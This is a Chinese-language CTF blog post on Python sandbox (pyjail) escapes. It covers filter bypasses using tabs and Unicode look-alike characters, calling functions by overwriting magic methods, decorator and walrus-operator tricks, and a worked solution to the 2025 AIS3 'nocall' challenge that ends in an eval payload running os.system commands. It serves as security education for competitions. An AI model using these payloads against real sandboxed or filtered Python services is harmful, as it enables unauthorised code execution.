2025 年即將結束,今年也打了不少 CTF,其中不乏一些有趣的 pyjail,所以特別整理了一些 PyJail 的 tricks 和大家分享,最後也會放一些遇到的有趣題目。
黑名單 bypass
空格 -> \t
底線:
可以用全形繞過,但是.後面一定要接半形的_,後面就可以用全形blacklist = ["__",".__"] copyright.__class__ <class '_sitebuiltins._Printer'>ASCII Bypass:
python 3.7 之後支援使用斜體寫程式

可以透過 這個網站 弄出斜體
(Source: https://blog.pepsipu.com/posts/albatross-redpwnctf)
Call Function without Parentheses
沒有括號也可以呼叫函式,大部份的作法都是把某些運算子或是會自動 call 的 function 蓋掉改成你想執行的 function
蓋運算子
如果你想 call breakpoint(),你可以把一些 Class 的 magic method 蓋掉,比如 __neg__,__pos__ 等一元運算子
license.__class__.__neg__=breakpoint
-license
> <python-input-32>(1)<module>()
(Pdb) q
-license等價於license.__neg__()
如果你想帶參數呼叫函式的話,可以覆蓋二元運算子
license.__class__.__add__=print
license+"hello world"
hello world
license+"hello world"等價於license.__add__("hello world")
但這邊要注意的是 built-in static type 是 immutable 的,所以你不能覆蓋裡面的 magic method,所以必須找自訂的 class 或是內建 mutable 的 class
str.__neg__=print
Traceback (most recent call last):
File "<python-input-35>", line 1, in <module>
str.__neg__=print
^^^^^^^^^^^
TypeError: cannot set '__neg__' attribute of immutable type 'str'
蓋 __str__
跟上面的蓋運算子很像,只是改用 f"{foo}" 來觸發 function call
license.__class__.__str__=breakpoint
f"{license}"
> <python-input-37>(1)<module>()
(Pdb) q
Decorator
左轉參考 Vincent55 的文章
@exec
@"__import__\x28'os'\x29.system\x28'id'\x29".format
class Z:
pass
...
uid=1000(trianglesnake) gid=1000(trianglesnake) groups=1000(trianglesnake)
賦值
exec() 可以直接賦值,但是 eval() 只能傳入 expression (簡單來說就是 foo= 右邊可以放的東西)
eval("foo=1")
Traceback (most recent call last):
File "<python-input-9>", line 1, in <module>
eval("foo=1")
~~~~^^^^^^^^^
File "<string>", line 1
foo=1
^
SyntaxError: invalid syntax
>>
Walrus Operator
海象表達式是 python 3.8 之後引進的語法糖,可以讓程式碼更直觀簡潔:
例如:
如果 x 有值則 print 出來
x = get_data()
if x:
print(x)
可以簡化成:
if (x := get_data()):
print(x)
我們可以利用 := 繞過 eval 沒辦法使用 = 的限制:
eval("{foo:=1}")
{1}
但是海象表達式有一個限制,那就是沒辦法覆蓋 Non-Name Assignment 的 Targets,像是 Attribute Access 或者 Subscript Access,白話來說就是不能覆蓋 foo.bar 或是 foo[bar]
eval("{foo.bar:=1}")
Traceback (most recent call last):
File "<python-input-16>", line 1, in <module>
eval("{foo.bar:=1}")
~~~~^^^^^^^^^^^^^^^^
File "<string>", line 1
{foo.bar:=1}
^^^^^^^
SyntaxError: cannot use assignment expressions with attribute
eval("{foo[bar]:=1}")
Traceback (most recent call last):
File "<python-input-17>", line 1, in <module>
eval("{foo[bar]:=1}")
~~~~^^^^^^^^^^^^^^^^^
File "<string>", line 1
{foo[bar]:=1}
^^^^^^^^
SyntaxError: cannot use assignment expressions with subscript
>>>
因此我們要來介紹下一種方法,使用 for 來賦值
For Loop
for i in range(10) 基本上就是把 i 一直覆蓋掉,所以我們當然也可以把 i 換成我們想覆蓋的東西:
{f"{license}" for license._Printer__setup in {breakpoint}}
> <frozen _sitebuiltins>(61)__repr__()
(Pdb) q
SSTI in Python
一些題目
nocall (2025 AIS3 Pre-Exam Hard)
import unicodedata
print(open(__file__).read())
expr = unicodedata.normalize("NFKC", input("> "))
if "._" in expr:
raise NameError("no __ %r" % expr)
if "breakpoint" in expr:
raise NameError("no breakpoint %r" % expr)
if any([x in "([ ])" for x in expr]):
raise NameError("no ([ ]) %r" % expr)
# baby version: response for free OUO
result = eval(expr)
print(result)
這題用到 eval,並且不能使用 、 ._、breakpoint、(、)、[、],我們可以分化一下問題:
eval可以使用上面提到的方法賦值._可以透過foo. __class__繞過可以用\t繞過
在最後面有提示 respose for free,我們可以嘗試把 print 蓋成 exec
- 想辦法把
print蓋掉:
但是此時expr = "{print:=exec}"result會變成{<built-in function exec>},因此我們需要構造一個 polyglot payload 讓result等於我們想執行的 python code,同時讓eval(expr)把print蓋掉並且不會噴錯 - 構造 payload:
假設我們想執行__import__('os').system('whoami'),我們可以把海象表達式會出現的 dict 想辦法接在 payload 後面並使用#把它變成註解,這樣塞到後面的eval時便會自動被忽略
但是這邊還有一個問題就是 str 沒辦法和 dict 直接相加,我們要想辦法把 {} 變成可以和 str 相加的東西expr = "\"__import__('os').system('whoami')#\"+{print:=eval}" - 想辦法把
{<built-in function eval>}變成 string:dir({print:=eval}) ['__and__', '__class__', '__class_getitem__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__iand__', '__init__', '__init_subclass__', '__ior__', '__isub__', '__iter__', '__ixor__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__rand__', '__reduce__', '__reduce_ex__', '__repr__', '__ror__', '__rsub__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__xor__', 'add', 'clear', 'copy', 'difference', 'difference_update', 'discard', 'intersection', 'intersection_update', 'isdisjoint', 'issubset', 'issuperset', 'pop', 'remove', 'symmetric_difference', 'symmetric_difference_update', 'union', 'update']__doc__很明顯可以拿來用,因為它是一段文字 - 最終 payload:
"__import__('os').system('whoami')#" + {print:=eval}. __doc__